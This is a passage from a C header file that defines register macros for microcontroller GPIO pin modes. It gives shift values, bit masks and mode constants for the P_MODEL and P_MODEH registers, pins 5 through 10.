GPIO_P_MODEL_MODE5_PUSHPULLALT (_GPIO_P_MODEL_MODE5_PUSHPULLALT << 20) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDOR (_GPIO_P_MODEL_MODE5_WIREDOR << 20) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE5_WIREDORPULLDOWN << 20) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDAND (_GPIO_P_MODEL_MODE5_WIREDAND << 20) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDFILTER (_GPIO_P_MODEL_MODE5_WIREDANDFILTER << 20) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDPULLUP (_GPIO_P_MODEL_MODE5_WIREDANDPULLUP << 20) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE5_WIREDANDPULLUPFILTER << 20) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDALT (_GPIO_P_MODEL_MODE5_WIREDANDALT << 20) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE5_WIREDANDALTFILTER << 20) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE5_WIREDANDALTPULLUP << 20) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE5_WIREDANDALTPULLUPFILTER << 20) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_SHIFT 24 /**< Shift value for GPIO_MODE6 */ #define _GPIO_P_MODEL_MODE6_MASK 0xF000000UL /**< Bit mask for GPIO_MODE6 */ #define _GPIO_P_MODEL_MODE6_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE6_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_DEFAULT (_GPIO_P_MODEL_MODE6_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_DISABLED (_GPIO_P_MODEL_MODE6_DISABLED << 24) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_INPUT (_GPIO_P_MODEL_MODE6_INPUT << 24) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_INPUTPULL (_GPIO_P_MODEL_MODE6_INPUTPULL << 24) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_INPUTPULLFILTER (_GPIO_P_MODEL_MODE6_INPUTPULLFILTER << 24) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_PUSHPULL (_GPIO_P_MODEL_MODE6_PUSHPULL << 24) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_PUSHPULLALT (_GPIO_P_MODEL_MODE6_PUSHPULLALT << 24) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDOR (_GPIO_P_MODEL_MODE6_WIREDOR << 24) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE6_WIREDORPULLDOWN << 24) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDAND (_GPIO_P_MODEL_MODE6_WIREDAND << 24) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDFILTER (_GPIO_P_MODEL_MODE6_WIREDANDFILTER << 24) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDPULLUP (_GPIO_P_MODEL_MODE6_WIREDANDPULLUP << 24) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE6_WIREDANDPULLUPFILTER << 24) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDALT (_GPIO_P_MODEL_MODE6_WIREDANDALT << 24) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE6_WIREDANDALTFILTER << 24) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE6_WIREDANDALTPULLUP << 24) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE6_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE6_WIREDANDALTPULLUPFILTER << 24) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_SHIFT 28 /**< Shift value for GPIO_MODE7 */ #define _GPIO_P_MODEL_MODE7_MASK 0xF0000000UL /**< Bit mask for GPIO_MODE7 */ #define _GPIO_P_MODEL_MODE7_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE7_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_DEFAULT (_GPIO_P_MODEL_MODE7_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_DISABLED (_GPIO_P_MODEL_MODE7_DISABLED << 28) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_INPUT (_GPIO_P_MODEL_MODE7_INPUT << 28) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_INPUTPULL (_GPIO_P_MODEL_MODE7_INPUTPULL << 28) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_INPUTPULLFILTER (_GPIO_P_MODEL_MODE7_INPUTPULLFILTER << 28) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_PUSHPULL (_GPIO_P_MODEL_MODE7_PUSHPULL << 28) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_PUSHPULLALT (_GPIO_P_MODEL_MODE7_PUSHPULLALT << 28) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDOR (_GPIO_P_MODEL_MODE7_WIREDOR << 28) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE7_WIREDORPULLDOWN << 28) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDAND (_GPIO_P_MODEL_MODE7_WIREDAND << 28) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDFILTER (_GPIO_P_MODEL_MODE7_WIREDANDFILTER << 28) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDPULLUP (_GPIO_P_MODEL_MODE7_WIREDANDPULLUP << 28) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE7_WIREDANDPULLUPFILTER << 28) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDALT (_GPIO_P_MODEL_MODE7_WIREDANDALT << 28) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE7_WIREDANDALTFILTER << 28) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE7_WIREDANDALTPULLUP << 28) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE7_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE7_WIREDANDALTPULLUPFILTER << 28) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ /* Bit fields for GPIO P_MODEH */ #define _GPIO_P_MODEH_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MASK 0xFFFFFFFFUL /**< Mask for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_SHIFT 0 /**< Shift value for GPIO_MODE8 */ #define _GPIO_P_MODEH_MODE8_MASK 0xFUL /**< Bit mask for GPIO_MODE8 */ #define _GPIO_P_MODEH_MODE8_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE8_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_DEFAULT (_GPIO_P_MODEH_MODE8_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_DISABLED (_GPIO_P_MODEH_MODE8_DISABLED << 0) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_INPUT (_GPIO_P_MODEH_MODE8_INPUT << 0) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_INPUTPULL (_GPIO_P_MODEH_MODE8_INPUTPULL << 0) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_INPUTPULLFILTER (_GPIO_P_MODEH_MODE8_INPUTPULLFILTER << 0) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_PUSHPULL (_GPIO_P_MODEH_MODE8_PUSHPULL << 0) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_PUSHPULLALT (_GPIO_P_MODEH_MODE8_PUSHPULLALT << 0) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDOR (_GPIO_P_MODEH_MODE8_WIREDOR << 0) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE8_WIREDORPULLDOWN << 0) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDAND (_GPIO_P_MODEH_MODE8_WIREDAND << 0) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDFILTER (_GPIO_P_MODEH_MODE8_WIREDANDFILTER << 0) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDPULLUP (_GPIO_P_MODEH_MODE8_WIREDANDPULLUP << 0) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE8_WIREDANDPULLUPFILTER << 0) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDALT (_GPIO_P_MODEH_MODE8_WIREDANDALT << 0) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE8_WIREDANDALTFILTER << 0) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE8_WIREDANDALTPULLUP << 0) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE8_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE8_WIREDANDALTPULLUPFILTER << 0) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_SHIFT 4 /**< Shift value for GPIO_MODE9 */ #define _GPIO_P_MODEH_MODE9_MASK 0xF0UL /**< Bit mask for GPIO_MODE9 */ #define _GPIO_P_MODEH_MODE9_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE9_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_DEFAULT (_GPIO_P_MODEH_MODE9_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_DISABLED (_GPIO_P_MODEH_MODE9_DISABLED << 4) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_INPUT (_GPIO_P_MODEH_MODE9_INPUT << 4) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_INPUTPULL (_GPIO_P_MODEH_MODE9_INPUTPULL << 4) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_INPUTPULLFILTER (_GPIO_P_MODEH_MODE9_INPUTPULLFILTER << 4) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_PUSHPULL (_GPIO_P_MODEH_MODE9_PUSHPULL << 4) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_PUSHPULLALT (_GPIO_P_MODEH_MODE9_PUSHPULLALT << 4) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDOR (_GPIO_P_MODEH_MODE9_WIREDOR << 4) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE9_WIREDORPULLDOWN << 4) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDAND (_GPIO_P_MODEH_MODE9_WIREDAND << 4) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDFILTER (_GPIO_P_MODEH_MODE9_WIREDANDFILTER << 4) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDPULLUP (_GPIO_P_MODEH_MODE9_WIREDANDPULLUP << 4) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE9_WIREDANDPULLUPFILTER << 4) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDALT (_GPIO_P_MODEH_MODE9_WIREDANDALT << 4) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE9_WIREDANDALTFILTER << 4) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE9_WIREDANDALTPULLUP << 4) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE9_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE9_WIREDANDALTPULLUPFILTER << 4) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_SHIFT 8 /**< Shift value for GPIO_MODE10 */ #define _GPIO_P_MODEH_MODE10_MASK 0xF00UL /**< Bit mask for GPIO_MODE10 */ #define _GPIO_P_MODEH_MODE10_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE10_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_DEFAULT (_GPIO_P_MODEH_MODE10_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_DISABLED (_GPIO_P_MODEH_MODE10_DISABLED << 8) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_INPUT (_GPIO_P_MODEH_MODE10_INPUT << 8) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_INPUTPULL (_GPIO_P_MODEH_MODE10_INPUTPULL << 8) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_INPUTPULLFILTER (_GPIO_P_MODEH_MODE10_INPUTPULLFILTER << 8) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_PUSHPULL (_GPIO_P_MODEH_MODE10_PUSHPULL << 8) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_PUSHPULLALT (_GPIO_P_MODEH_MODE10_PUSHPULLALT << 8) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDOR (_GPIO_P_MODEH_MODE10_WIREDOR << 8) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE10_WIREDORPULLDOWN << 8) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDAND (_GPIO_P_MODEH_MODE10_WIREDAND << 8) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDFILTER (_GPIO_P_MODEH_MODE10_WIREDANDFILTER << 8) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDPULLUP (_GPIO_P_MODEH_MODE10_WIREDANDPULLUP << 8) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE10_WIREDANDPULLUPFILTER << 8) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDALT (_GPIO_P_MODEH_MODE10_WIREDANDALT << 8) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define 